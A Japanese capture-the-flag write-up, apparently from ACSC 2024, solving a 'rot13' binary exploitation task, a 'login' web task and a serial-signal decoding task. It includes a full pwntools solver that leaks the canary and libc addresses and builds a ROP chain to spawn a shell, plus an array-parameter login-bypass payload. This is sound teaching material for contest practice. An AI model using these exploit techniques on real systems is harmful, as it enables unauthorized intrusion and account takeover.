#include <stdio.h> #include <string.h> #define ROT13_TABLE \ "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" \ "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \ "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \ "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" \ "\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42" \ "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f" \ "\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62" \ "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f" \ "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" \ "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" \ "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" \ "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" \ "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" \ "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" \ "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" \ "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" void rot13(const char *table, char *buf) { printf("Result: "); for (size_t i = 0; i < strlen(buf); i++) putchar(table[buf[i]]); putchar('\n'); } int main() { const char table[0x100] = ROT13_TABLE; char buf[0x100]; setbuf(stdin, NULL); setbuf(stdout, NULL); while (1) { printf("Text: "); memset(buf, 0, sizeof(buf)); if (scanf("%[^\n]%*c", buf) != 1) return 0; rot13(table, buf); } return 0; }
❯ checksec rot13 [*] '/home/trimscash/acsc/pwn/distfiles-rot13/rot13' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
rot13をテーブルを用いて実装している.
まず以下を見るとtable配列の要素をbuf[i]で指定している.
ここでbufはcharであるので,マイナスを取りうる.
例えば\xffをbufに入れておけばtableの上のデータを見ることができる.
void rot13(const char *table, char *buf) { printf("Result: "); for (size_t i = 0; i < strlen(buf); i++) putchar(table[buf[i]]); putchar('\n'); }
これにより,スタック上のrot13関数のリターンアドレスと,canaryとスタックのbase addrがリークできる.
なのであとは以下の部分に存在するbuf overflowでROPする.
if (scanf("%[^\n]%*c", buf) != 1) return 0;
ここでlibc addrのリークが必要だが,これもrot13を読んだときのスタックに積まれていた.
putchar+119

libcは配布されているDockerfileにより入手できる
FROM ubuntu:22.04@sha256:bcc511d82482900604524a8e8d64bf4c53b2461868dac55f4d04d660e61983cb ENV DEBIAN_FRONTEND noninteractive
文字列/bin/shはbase addrがあるので,スタックに積んでおきそれを使う.
以下solver.py
from pwn import * from pwn import packing libc = ELF("./libc.so.6") # io = process("./rot13") # io = gdb.debug("./rot13", "b main\nc") io = remote("rot13.chal.2024.ctf.acsc.asia", 9999) payload = b"" leak_num = 15 for i in range(1, 0x8 * leak_num + 1): payload += pack(-i, 8, "little", True) print(payload) io.sendlineafter(b"Text: ", payload) io.recvuntil(b"Result: ") res = io.readline()[:-1] print(res) leaks = [] for i in range(leak_num): temp = res[i * 8 : i * 8 + 8][::-1] leaks.append(u64(temp)) ret_addr = leaks[0] base_addr = leaks[1] canary = leaks[2] putchar_addr = leaks[-1] # <putchar+119> libc_base = putchar_addr - (libc.sym["putchar"] + 119) print(hex(ret_addr)) print(hex(base_addr)) print(hex(canary)) print(hex(putchar_addr)) print(hex(libc.sym["putchar"])) print(hex(libc_base)) pop_rdi = 0x2A3E5 + libc_base sh_str = 0xDBCE8 + libc_base system = libc.sym["system"] + libc_base nop = 0x378DE + libc_base print(hex(libc.sym["system"])) binsh_addr = base_addr + 0x8 * 5 payload = b"a" * 0x108 + p64(canary) + b"b" * 8 payload += p64(nop) payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system) payload += b"sh" print(payload) io.sendlineafter(b"Text: ", payload) io.sendline() io.interactive()

実行するとシェルが取れフラグがもらえた.
ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}
login [web]
app.js
const express = require('express'); const crypto = require('crypto'); const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}'; const app = express(); app.use(express.urlencoded({ extended: true })); const USER_DB = { user: { username: 'user', password: "crypto.randomBytes(32).toString('hex')" }, guest: { username: 'guest', password: 'guest' } }; app.get('/', (req, res) => { res.send(` <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head> <body> <section> <h1>Login</h1> <form action="/login" method="post"> <input type="text" name="username" placeholder="Username" length="6" required> <input type="password" name="password" placeholder="Password" required> <button type="submit">Login</button> </form> </section> </body></html> `); }); app.post('/login', (req, res) => { const { username, password } = req.body; if (username.length > 6) return res.send('Username is too long'); const user = USER_DB[username]; if (user && user.password == password) { if (username === 'guest') { res.send('Welcome, guest. You do not have permission to view the flag'); } else { res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`); } } else { res.send('Invalid username or password'); } }); app.listen(5000, () => { console.log('Server is running on port 5000'); });
Dockerfile
FROM node:alpine WORKDIR /app COPY app.js /app RUN yarn add express CMD ["node", "app.js"]
docker-compose.yaml
version: '3.5' services: web: build: . ports: - "5000:5000" environment: FLAG: ACSC{fake}
開くと以下.
これにguest以外としてログインすればフラグがもらえる.

app.jsを見ると,express.urlencoded({ extended: true })とある.
const app = express(); app.use(express.urlencoded({ extended: true }));
以下のページによると,username[]=aなどとすると,配列が作れるらしい.
手元で適当に実際に試してみると,確かに配列になっていることがわかる.

![]()
これを用いて何とかならないか.
いろいろと手元でガチャガチャしていたら. ["guest"]=="guest"がtrueになることがわかった.

const user = USER_DB[username]; if (user && user.password == password) { if (username === 'guest') { res.send('Welcome, guest. You do not have permission to view the flag'); } else { res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`); } } else { res.send('Invalid username or password'); }
これにより,username[]=guestとリクエストすると.(つまりusername=["guest"]) ここで,userがguestになり.
const user = USER_DB[username];
ここでは,===で型を含めて比較しているので,以下がfalseになりフラグが取得できるはず.
if (username === 'guest') {
最終的なpayloadは以下のようになった.
username[]=guest&password=guest
これを送る.

フラグがもらえた.
ACSC{y3t_an0th3r_l0gin_byp4ss}
An4lyz3-1t [hardware]
Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.

配布ファイルを展開すると,拡張子がsalのファイルがあった.
問題文によると,Saleae logic analyzerを使って記憶したシリアル通信とのことなので,
Saleae logic analyzerのソフトをインストールしてみてみる.
するとこんな感じ.


一番幅が小さそうなとこを見ると,9.596kHzと57.554Hzという値が出てきた.なので,これに近い一般的に使われるボーレートを指定してみる.
Add analyzerからAsync Serialを指定して設定できる.このBit Rateがそれ.


試せばわかるが以下のように57600Hzにした時が一番それらしかった.

しかし,framing errorとなっている.
以下のページを見るといい感じの図があるのだが,シリアル通信には,stop bitというものがあり,それはHighになっていないといけない.上の図でいうと赤いバツがついているところがHighでないといけない.
では,あと一ビット文何かが足りないはず.シリアル通信にはオプションでparity bitをつけることができるので,多分それが足りていない.
また信号を見るとわかる通り,偶数個のHighになっているのでeven parityであることがわかる.
これを指定すればいい.
横のAnalyzerタブから先ほど追加したAnalyzerを編集する.

Parity BitにEven Parity Bitを指定する.

するといい感じに見えている.

横のAnalyzerタブのTerminalを見るとフラグが見えた.

ACSC{b4by4n4lyz3r_548e8c80e}
以上
Web, Cryptoをもっと解けるようになりたい.(というか全部解けるようになりたい.)と言いつつたゆまぬ努力というやつができていないのだが..
頑張ります.
楽しかったです.
解けなくて悩んでいる時,観る将棋が存在し得るなら,観るのCTFも存在し得ることに気づいた(((
観るCTFerとして頑張ります((うそです